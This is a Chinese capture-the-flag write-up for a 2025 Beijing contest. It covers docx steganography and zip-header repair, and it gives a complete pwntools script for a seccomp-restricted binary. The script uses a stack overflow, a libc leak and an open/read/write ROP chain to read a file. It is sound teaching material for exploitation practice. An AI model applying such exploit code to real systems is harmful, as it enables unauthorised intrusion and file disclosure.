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2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛初赛-wp

- -考试当场没做出来 后面做的

misc

❯ cd misc
❯ ls
num.docx num.zip
❯ unzip num.docx
Archive:  num.docxinflating: [Content_Types].xmlinflating: _rels/.relsinflating: word/document.xmlinflating: word/_rels/document.xml.relsextracting: word/media/image1.jpeginflating: word/theme/theme1.xmlinflating: word/settings.xmlinflating: word/styles.xmlinflating: word/webSettings.xmlinflating: word/fontTable.xmlinflating: docProps/core.xmlinflating: docProps/app.xmlinflating: word/media/iamge1
❯ ls
[Content_Types].xml _rels               docProps            num.docx            num.zip             word
❯ cd word
❯ ls
_rels           document.xml    fontTable.xml   media           settings.xml    styles.xml      theme           webSettings.xml
❯ cd media
❯ ls
iamge1      image1.jpeg

解压后有两个文件,其中image1.jpeg ,iamge1 是隐藏文件

❯ file iamge1
iamge1: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2, orientation=upper-left], baseline, precision 8, 800x400, components 3
❯ mv iamge1 iamge1.jpeg

使用stegSolve 打开

发现最后存在一段 类似zip文件的内容,但是没有504b0304 文件头,手动添加

保存

解压发现要密码

密码122598

解码: cyberChef-link

pwn-eazyrop

Linux 4.7 System Call Table (x64)

📎easy_rop.txt

📎libc-2.31.so.txt

📎easy_rop.zip.txt

main 函数中有几个函数 其中sub_4011F6 初始化标准输入输出的

sub_40125B() 是限制系统调用的

root@VM-12-14-debian:/tmp/ctf# seccomp-tools dump ./easy_rop line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 00030002: 0x06 0x00 0x00 0x00000000  return KILL0003: 0x20 0x00 0x00 0x00000000  A = sys_number0004: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 00060005: 0x06 0x00 0x00 0x7fff0000  return ALLOW0006: 0x15 0x00 0x01 0x00000000  if (A != read) goto 00080007: 0x06 0x00 0x00 0x7fff0000  return ALLOW0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 00100009: 0x06 0x00 0x00 0x7fff0000  return ALLOW0010: 0x15 0x00 0x01 0x00000003  if (A != close) goto 00120011: 0x06 0x00 0x00 0x7fff0000  return ALLOW0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 00140013: 0x06 0x00 0x00 0x7fff0000  return ALLOW0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 00160015: 0x06 0x00 0x00 0x7fff0000  return ALLOW0016: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 00180017: 0x06 0x00 0x00 0x7fff0000  return ALLOW0018: 0x06 0x00 0x00 0x00000000  return KILL

能使用的系统调用就是 openat ,write ,read ,经典orw题,不能getshell

sub_4014E0()函数可以溢出16byte 刚好可以覆盖old rbp 和ret address ,

漏洞点那么我们可以在sub_4014E0() ret address 填一个ret 指令那么就可以回到之前main函数的栈,我们把要执行的ROPchains填写的main函数的buf中

from pwn import *
from LibcSearcher import *context(arch = 'amd64', os = 'linux',log_level='debug') 
#io = process("./easy_rop")
io = gdb.debug("./easy_rop",gdbscript='''b *0x4014E0\n               c''')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0pop_rdi = 0x00000000004015d3puts = 0x4010b0
libc_start_main = 0x0000000000403ff0
main_func = 0x0000000000401511 libc_offset = 0x1af49
#sub_rsp_jmp = asm('sub rsp,0x10;jmp esp')
#print(sub_rsp_jmp)read_func = 0x4010c0bss = 0x00404000 + 100ret = 0x000000000040101a# for ret 2 main stack to excute p1 only overflow 16 bytes
p1 = flat(b'a'*(128+8),ret)p2 = flat(pop_rdi,libc_start_main,puts,main_func)io.sendlineafter("Leave your name",p2)
print(io.recv())
io.sendafter("Leave your message:",p1)
print(io.recv())
libc_start_main = u64(io.recv(6)+b"\x00\x00")print(f"libc_start_main== {hex(libc_start_main)}")
libc_search = LibcSearcher('__libc_start_main',libc_start_main)
libc_start_main_offset = libc_search.dump('__libc_start_main')
print(f"libc_start_main_offset={hex(libc_start_main_offset)}")
libc_base_address = libc_start_main - libc_start_main_offset
print(f"libc_base_address={hex(libc_base_address)}")libc.address = libc_base_addresspop_rdx_list =   list(libc.search(asm('pop rdx; ret'))) 
pop_rdx = pop_rdx_list[-1] # 有好几个 要用内存权限 存在x(可执行的内存)
pop_rsi =   next(libc.search(asm('pop rsi; ret')))
pop_rax =  next(libc.search(asm('pop rax; ret')))
pop_rcx = next(libc.search(asm('pop rcx;  ret')))success (f"pop_rdx_list_ret => {[hex(pop_rdx) for pop_rdx in pop_rdx_list ]}")
success (f"pop_rdx_ret => {hex(pop_rdx) }")
success (f"pop_rsi_ret  => {hex(pop_rsi)} ")open_func =  libc.symbols['openat']
read_func = libc.symbols['read']
write_func = libc.symbols['write']success(f"open_func => {hex(open_func)}")
success(f"read_func => {hex(read_func)}")
success(f" write_func => {hex(write_func)}")bss = 0x00404000target_file = "/etc/hosts"
read_length = 100p3 = flat(pop_rdi,0,pop_rsi,bss+200,pop_rdx,len(target_file)+1,read_func,pop_rdi,-100,pop_rsi,bss+200,pop_rdx,0x0,pop_rcx,0x0,open_func,# new fd is 3 pop_rdi,3,pop_rsi,bss+200+10,pop_rdx,read_length,# read length read_func,pop_rdi,1,pop_rsi,bss+200+10,pop_rdx,read_length,write_func)io.sendafter("Leave your name\n",p3)
##print(io.recv())io.sendafter("Leave your message:",p1)io.send(target_file+"\x00")
print(io.recv())io.interactive()

执行效果,成功读取出 文件内容

远程还没试过

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